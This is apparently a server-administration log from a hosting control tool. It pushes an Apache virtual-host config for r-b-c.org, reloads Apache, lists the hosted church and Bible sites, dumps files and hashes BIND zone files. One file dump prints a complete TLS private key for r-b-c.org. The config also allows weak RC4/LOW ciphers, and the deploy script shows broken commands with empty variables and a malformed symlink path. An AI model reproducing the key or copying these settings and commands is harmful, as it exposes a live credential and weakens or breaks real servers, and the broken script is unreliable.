    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi


2026-05-23 10:35:09: 

chmod 755 /tmp/pkp698039; /tmp/pkp698039; rm /tmp/pkp698039

2026-05-23 10:35:09: 




2026-05-23 10:35:09: 

PUT: /tmp/pkp187853

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-23 10:35:09: 

chmod 755 /tmp/pkp187853; /tmp/pkp187853; rm /tmp/pkp187853

2026-05-23 10:35:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-23 10:35:09: Establishing a connection
2026-05-23 10:35:09: 

PUT: /tmp/pkp600575

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-23 10:35:09: 

chmod 755 /tmp/pkp600575; /tmp/pkp600575; rm /tmp/pkp600575

2026-05-23 10:35:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-23 10:35:09: 

PUT: /tmp/pkp419677

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-23 10:35:09: 

chmod 755 /tmp/pkp419677; /tmp/pkp419677; rm /tmp/pkp419677

2026-05-23 10:35:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf	1323

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-23 10:35:09: 

PUT: /tmp/pkp490765

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-23 10:35:09: 

chmod 755 /tmp/pkp490765; /tmp/pkp490765; rm /tmp/pkp490765

2026-05-23 10:35:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt	5352
19:6d:24:a1:74:12:c4:46:e4:c6:f5:67:c7:15:5a:0c

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBqa0I386+6Mazdn0c2xCFzjVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTIzMDkzNjM3WhcNMjYwODIxMDkzNjM2WjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIGAyr
Whjx0QhsvfiCNYuPl1gnmtcSICIapq0c81935wR0g4xRHJv4+Ny9WM9Z9CQ8zRSy
EO1eIjWx6ybph0BhIA1Iwco4KKWwa4T4XtppT0uPASbMS8JFP/nw69Poae2JUYNq
EROBZGMLa8FTujleztmYc88MU4p9bHM8HjIPdyxj8QuowOKxFry2Z68tUHWnc3vf
UgMYRtk92XNBRJVXkUuDAeZPiCt7QqUogH4YBTm/RtjUrVBA7Jzv1xvEhALUKeEc
1SKIczJ4XKPu5A+9xoEbBx/HJVIDVvP5KvnkFiaSY2uJi1iQIHS5NW1BQ0SgSbv4
JyEKT9UDZqwlOOKlAgMBAAGjggImMIICIjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrA+2BJx01fxB
DXZBtC2b6EYBCPMwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglyLWItYy5vcmeCDXd3dy5yLWItYy5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNy
Lm9yZy84Ni5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ5UZypZAAAEAwBHMEUCIQDHXVty7hYV
E0OGSI6Lv4ko5kCxT0K1sbo0NDS41tEduQIgPW7VW6ifYosBKX2K/tOCzHUlUJ+/
LHlh7Yg4ODbHPCgAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAA
AZ5UZysqAAgAAAUADCghLwQDAEcwRQIhAPlSlBTZ5DWnWewpvH/3/3mGvvyC1FIV
XuyHt9nKYRAaAiAnHO6ccXPKFlUwZwH7IlEYKMLwI1uLBGfdgewU6UBQpTANBgkq
hkiG9w0BAQsFAAOCAQEAk7K3sTvh8jsnIKjm7DneQqMLxBK7eH2aMOViEyhQOxBu
Bn5qjm1gf0LYVgEOgsLGdJCaP/LjyZWzckBcvBmvWq1xVBI7zHbPaWe3Q4A0+9AR
1bKjhR1ou/E412kg0kLJowdXhdm4Rf77qPPUKo1XnQMWkiY8baByULuNsBRYDn07
KOsmdPWMGvTwbvCZXEwtANmXLy3A6B7tK8Y2t9MtZjxh3LcgNwOUumZ8NzjFeFHh
k1aq2qIpd49DdZQOriSAImPKb25pb/YRt0v73L8SfYaeiqzkwM7QDTRCvdivG6+d
qkqqM7N5AzQC8jl4crNRwvT1gg/NEqW3vs6x5q61Fw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDIGAyrWhjx0Qhs
vfiCNYuPl1gnmtcSICIapq0c81935wR0g4xRHJv4+Ny9WM9Z9CQ8zRSyEO1eIjWx
6ybph0BhIA1Iwco4KKWwa4T4XtppT0uPASbMS8JFP/nw69Poae2JUYNqEROBZGML
a8FTujleztmYc88MU4p9bHM8HjIPdyxj8QuowOKxFry2Z68tUHWnc3vfUgMYRtk9
2XNBRJVXkUuDAeZPiCt7QqUogH4YBTm/RtjUrVBA7Jzv1xvEhALUKeEc1SKIczJ4
XKPu5A+9xoEbBx/HJVIDVvP5KvnkFiaSY2uJi1iQIHS5NW1BQ0SgSbv4JyEKT9UD
ZqwlOOKlAgMBAAECggEACJkx+C4Ruth8+HFMa8oBwoyiIueOPO7pEESf1UnnDRe+
EwSxI64rTK5jC/b0SB0L7pnwfPtpu90T+h6NCEWB4HqYX4tGVZX3ksZ4CxVGZPad
nFpUELzjrwaiBraXn1nn9XntgAIWWL3X3L6HawHqY7bXVmwJlnHDloKxzABPLedh
auyrUGTD+9RtXqu02kUZ7gzI78tzqRv3i+orubGTdwKYDDal+F1z3zSiauLN+7QN
sCW8nxtAxO9clbHe8wjwFi5I1GbzOAA/rWs36dOFL2olFn19U0NR9tYTaEkVS6Bu
yKKepBt1w4byT00iY0VTRGjDCoidub3Gj2e2fvU38QKBgQDkB771Es+3d3RW2kO6
uriVGtOqVlAuuQRPUKHJ1QIa8yPqqOw0PGwmWk+iDtc3KktmUDsR/+7OTlkDetd9
ORB6Pefnb+U0s1c/+6xdTZz/bRa83mXMttCS5SnzP1qM4pG5QSUns5v0xZ+7JG8F
9RZT1Ax9UmLLxtf/x1kKS8jLNQKBgQDgoxcuvKieRkFGVMJZCCEwDR23tkk2suCU
Ketn5URZkbad11zU6Ud+oFLg9w2e9y0e+hvRqZmuZ19aL03fOrf+YkYn4bmsQHda
zbDb+e9SCuPaRJ9XZ3JKnS8A1FALIcQzxVUlnPn4AZ18uR4muJQQemz45krXz3Sf
vuFlKEw3sQKBgQCFDX/+v9sz0h+wDes3KXxKhDy9R1/B43MAVKwSeJeh4f0zDx3D
3P294zRT+xTYu3UDXg0Zk5xkBJMr1KGoD4Ptz/FguYmkFoDydIc+aesRnzWFPr9n
k8Rf8hdoN68+RXWCAuELKWH2kNmC+N9POpKsly4ycb/z5zJhrI/n0hB3gQKBgQCx
RGI18pDJnb1DB/36Di1KYv9RixrJfG023sGy0jyWxiMq+dl69sABj/j3KF5qVLoZ
mNs9H65z74VSgMPd5dNufhTIwhsocBL/6BOp89jEkG1wP/jSG4MYmGOQLvsfXb0b
8ZwYu4CTEos58kd13PCS9FlsLSdgmIh6y0HI9vz2cQKBgE+g6rDO3eTIDrB/j4Kc
kkLWwWues9Q1CMksnVFDeQUKYxrBa2Cm3WYfEbWLzxnDGlF8mW73IneDPSsRjKCK
QyAx2Vi3RPtP0badJw/z9FMeRtnTz19PKJk7MZ7kvW938FIAglxXf1mnuoEAP9CL
jW7AAXWCT9xx7V2sjJAOIvvu
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-23 10:35:52: Establishing a connection
2026-05-23 10:35:52: 

PUT: /tmp/pkp664454

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-23 10:35:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp664454; rm /tmp/pkp664454'

2026-05-23 10:35:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
